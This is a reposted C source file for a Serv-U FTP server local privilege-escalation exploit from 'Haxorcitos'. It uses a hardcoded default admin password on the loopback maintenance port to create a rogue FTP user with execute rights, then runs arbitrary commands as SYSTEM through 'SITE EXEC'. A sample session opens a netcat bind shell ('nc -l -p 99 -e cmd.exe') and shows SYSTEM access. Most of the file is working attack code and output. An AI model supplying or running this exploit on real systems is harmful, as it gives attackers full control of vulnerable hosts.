信息来源：Haxorcitos com
复制内容到剪贴板
代码:
/*
* Hax0rcitos proudly presents
* Serv-u Local Exploit >v3.x. (tested also against last version 5.1.0.0)
*
* All Serv-u Versions have default Login/password for local Administration.
* This account is only available to connect in the loopback interface, so a
* local user will be able to connect to Serv-u with this account and create
* an ftp user with execute rights. after the user is created, just connect
* to the ftp server and execute a raw "SITE EXEC" command. the program will
* be execute with SYSTEM privileges.
*
* Copyright (c) 2003-2004 Haxorcitos com . All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*
* Date: 10/2003
* Author: Andr閟 Tarasc?Acunha
*
* Greetings to: #haxorcitos - #localhost and #!dsr blackxors =)
*
* Tested Against Serv-u 4.x and v5.1.0.0
G:exploitserv-Ulocal>whoami
INSANEaT4r
G:exploitserv-Ulocal>servulocal.exe "nc -l -p 99 -e cmd.exe"
Serv-u >3.x Local Exploit by Haxorcitos
<220 Serv-U FTP Server v5.0 for WinSock ready...
>USER LocalAdministrator
<331 User name okay, need password.
******************************************************
>PASS #l@$ak#.lk;0@P
<230 User logged in, proceed.
******************************************************
>SITE MAINTENANCE
******************************************************
[+] Creating New Domain...
<200-DomainID=3
220 Domain settings saved
******************************************************
[+] Domain Haxorcitos:3 Created
[+] Setting New Domain Online
<220 Server command OK
******************************************************
[+] Creating Evil User
<200-User=haxorcitos
200 User settings saved
******************************************************
[+] Now Exploiting...
>USER haxorcitos
<331 User name okay, need password.
******************************************************
>PASS whitex0r
<230 User logged in, proceed.
******************************************************
[+] Now Executing: nc -l -p 99 -e cmd.exe
<220 Domain deleted
******************************************************
G:exploitserv-Ulocal>nc localhost 99
Microsoft Windows XP [Versi髇 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:>whoami
whoami
NT AUTHORITYSYSTEM
C:>
*/
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <io.h>
#include <process.h>
//Responses
#define BANNER "220 "
#define USEROK "331 User name okay"
#define PASSOK "230 User logged in, proceed."
#define ADMOK "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID "200-DomainID="
//Commands
#define XPLUSER "USER haxorcitosrn"
#define XPLPASSWORD "PASS whitex0rrn"
#define USER "USER LocalAdministratorrn"
#define PASSWORD "PASS #l@$ak#.lk;0@Prn"
#define MAINTENANCE "SITE MAINTENANCErn"
#define EXIT "QUITrn"
char newdomain[]="-SETDOMAINrn"
"-Domain=haxorcitos|0.0.0.0|2121|-1|1|0rn"
"-TZOEnable=0rn"
" TZOKey=rn";
/* "-DynDNSEnable=0rn"
" DynIPName=rn";
*/
char deldomain[]="-DELETEDOMAINrn"
"-IP=0.0.0.0rn"
" PortNo=2121rn";
char newuser[] =
"-SETUSERSETUPrn"
"-IP=0.0.0.0rn"
"-PortNo=2121rn"
"-User=haxorcitosrn"
"-Password=whitex0rrn"
"-HomeDir=c:rn"
"-LoginMesFile=rn"
"-Disable=0rn"
"-RelPaths=1rn"
"-NeedSecure=0rn"
"-HideHidden=0rn"
"-AlwaysAllowLogin=0rn"
"-ChangePassword=0rn"
"-QuotaEnable=0rn"
"-MaxUsersLoginPerIP=-1rn"
"-SpeedLimitUp=0rn"
"-SpeedLimitDown=0rn"
"-MaxNrUsers=-1rn"
"-IdleTimeOut=600rn"
"-SessionTimeOut=-1rn"
"-Expire=0rn"
"-RatioUp=1rn"
"-RatioDown=1rn"
"-RatiosCredit=0rn"
"-QuotaCurrent=0rn"
"-QuotaMaximum=0rn"
"-Maintenance=Nonern"
"-PasswordType=Regularrn"
"-Ratios=Nonern"
" Access=c:|RELPrn";
#define localport 43958
#define localip "127.0.0.1"
char cadena[1024];
int rec,domain;
/******************************************************************************/
void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
send(sock,data,strlen(data),0);
if (ShowSend) printf(">%s",data);
Sleep(100);
do {
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='';
if (rec<=0) return;
if (showResponses) printf("<%s",cadena);
if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
domain=atoi(cadena+strlen(DOMAINID));
//} while (strncmp(cadena,response,strlen(response))!=0);
} while (strstr(cadena,response)==NULL);
printf("******************************************************rn");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
WSADATA ws;
int sock,sock2;
struct sockaddr_in haxorcitos;
struct sockaddr_in xpl;
printf("Serv-u >3.x Local Exploit by Haxorcitosrnrn");
if (argc<2) {
printf("USAGE: ServuLocal.exe "command"rn");
printf("Example: ServuLocal.exe "nc.exe -l -p 99 -e cmd.exe"");
return(0);
}
if(WSAStartup( MAKEWORD(2,2), &ws )!=0) {
printf(" [-] WSAStartup() errorn");
exit(0);
}
haxorcitos.sin_family = AF_INET;
haxorcitos.sin_port = htons(localport);
haxorcitos.sin_addr.s_addr = inet_addr(localip);
sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock,( struct sockaddr *)&haxorcitos,sizeof(haxorcitos));
rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='';
printf("<%s",cadena);
ParseCommands(sock,USER,1,1,USEROK);
ParseCommands(sock,PASSWORD,1,1,PASSOK);
ParseCommands(sock,MAINTENANCE,1,0,"230 ");
printf("[+] Creating New Domain...rn");
ParseCommands(sock,newdomain,0,1,BANNER);
printf("[+] Domain Haxorcitos:%i Createdn",domain);
/* Only for v5.x
printf("[+] Setting New Domain Onlinern");
sprintf(cadena,"-SERVERCOMMANDrn-ID=%irn
Command=DomainOnlinern",domain);
ParseCommands(sock,cadena,0,1,BANNER);
*/
printf("[+] Creating Evil Userrn");
ParseCommands(sock,newuser,0,1,"200 ");
Sleep(1000);
printf("[+] Now Exploiting...rn");
xpl.sin_family = AF_INET;
xpl.sin_port = htons(2121);
xpl.sin_addr.s_addr = inet_addr(localip);
sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='';
ParseCommands(sock2,XPLUSER,1,1,USEROK);
ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
printf("[+] Now Executing: %srn",argv[1]);
sprintf(cadena,"site exec %srn",argv[1]);
send(sock2,cadena,strlen(cadena),0);
shutdown(sock2,SD_BOTH);
Sleep(100);
ParseCommands(sock,deldomain,0,1,BANNER);
send(sock,EXIT,strlen(EXIT),0);
shutdown(sock,SD_BOTH);
closesocket(sock);
closesocket(sock2);
return 0;
}
